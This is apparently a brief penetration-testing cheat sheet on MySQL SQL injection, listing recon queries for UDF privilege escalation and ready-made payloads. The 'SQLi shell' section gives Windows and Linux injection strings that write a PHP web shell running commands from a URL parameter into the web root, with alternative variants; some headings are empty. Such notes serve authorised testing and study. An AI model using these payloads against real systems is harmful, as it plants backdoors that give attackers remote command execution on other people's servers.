sqli mysql

Checks for UDF (if root on mysql)

# checking if database has been misconfigured to allow insecure handling of files.
SHOW VARIABLES LIKE "secure_file_priv";

# where udf files are loaded from
@@plugin_dir;
SHOW VARIABLES LIKE 'plugin_dir';

# show all vars
SHOW variables;

# show PERMS
SHOW Grants;

SQLi shell

# windows
?id=1 union all select 1,2,"<?php echo system($_GET['cmd']);?>",4 into OUTFILE 'c:/xampp/htdocs/cmd.php'

# linux
?id=1 union all select 1,2,"<?php echo shell_exec($_GET['cmd']);?>",4 into OUTFILE '/var/www/html/cmd.php'
# try: "<?php echo exec($_GET["cmd"]);"
# try: replace "php-payload" with (php-payload)

my-sql commands

mysql w/ powershell

Error based

Last updated

Was this helpful?